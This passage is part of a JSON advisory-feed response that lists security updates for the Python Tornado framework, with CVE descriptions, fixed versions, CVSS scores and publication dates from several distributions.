6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:32Z","modified":"2026-09-25T01:45:03.626072202Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4037","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nWhen SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin. As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default. Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.(CVE-2026-49853)\n\nSummaryTornado\u0026apos;s optional native extension `tornado.speedups` implements `websocket_mask` without validating that the `mask` argument is exactly four bytes long. The C function reads four bytes from `mask` unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.The behavior is reachable from Tornado\u0026apos;s XSRF token decoder when `xsrf_cookies=True` and the native extension is active. ### MitigationsThis bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).(CVE-2026-49854)\n\nTornado\u0026apos;s gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set. This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.(CVE-2026-49855)\n\nTornado is a Python web framework and asynchronous networking library. Prior to 6.5.8, Tornado parses application/x-www-form-urlencoded request bodies with urllib.parse.parse_qs in tornado/escape.py without passing max_num_fields. RequestHandler._execute in tornado/web.py parses the body before handler dispatch through HTTPServerRequest._parse_body and parse_body_arguments in tornado/httputil.py, so an unauthenticated request body containing millions of separator-delimited fields can synchronously stall the single-threaded event loop and delay every connection. The body is bounded only by max_buffer_size, which defaults to 104857600 bytes. This issue is fixed in version 6.5.8.(CVE-2026-82397)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:33Z","modified":"2026-09-25T01:45:04.649809311Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"UBUNTU-CVE-2026-91992","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T16:17:00Z","modified":"2026-10-22T23:20:52.994305868Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"},{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:57:40.980117Z"},{"id":"AZL-103098","title":"CVE-2026-91992 affecting package python-tornado 6.3.3-11","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T16:17:58Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:17.326541Z"},{"id":"CLSA-2026-1783386118","title":"TuxCare security update for tornado (3 CVEs)","description":"TuxCare rebuilt tornado to address 3 CVEs. Fixed in 6.1.0.post4+tuxcare.","status":"published","published":"2026-08-04T14:52:42Z","modified":"2026-10-15T09:48:05.226004897Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1790675116","title":"TuxCare security update for tornado (15 CVEs)","description":"TuxCare rebuilt tornado to address 15 CVEs. Fixed in 5.1.1.post4+tuxcare.","status":"published","published":"2026-09-29T09:45:16Z","modified":"2026-10-15T09:48:02.299807474Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"ROOT-APP-PYPI-GHSA-pw6j-qg29-8w7f","title":"GHSA-pw6j-qg29-8w7f in tornado - Patched by Root","description":"Root has patched GHSA-pw6j-qg29-8w7f in the tornado package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-12T08:34:51Z","modified":"2026-10-12T09:15:04.478079508Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"USN-8952-1","title":"python-tornado vulnerabilities","description":"It was discovered that Tornado did not properly handle certain HTTP requests\nand network inputs. An attacker could possibly use these issues to cause a\ndenial of service, expose sensitive information, or bypass access controls.\n\n(CVE-2023-54397, CVE-2024-14029, CVE-2026-91990, CVE-2026-91992,\nCVE-2026-103262, CVE-2026-103263)","status":"published","published":"2026-10-22T12:07:23Z","modified":"2026-11-06T20:00:46.992536703Z","updated_at":"2026-11-06T20:06:20.037234Z"}]}}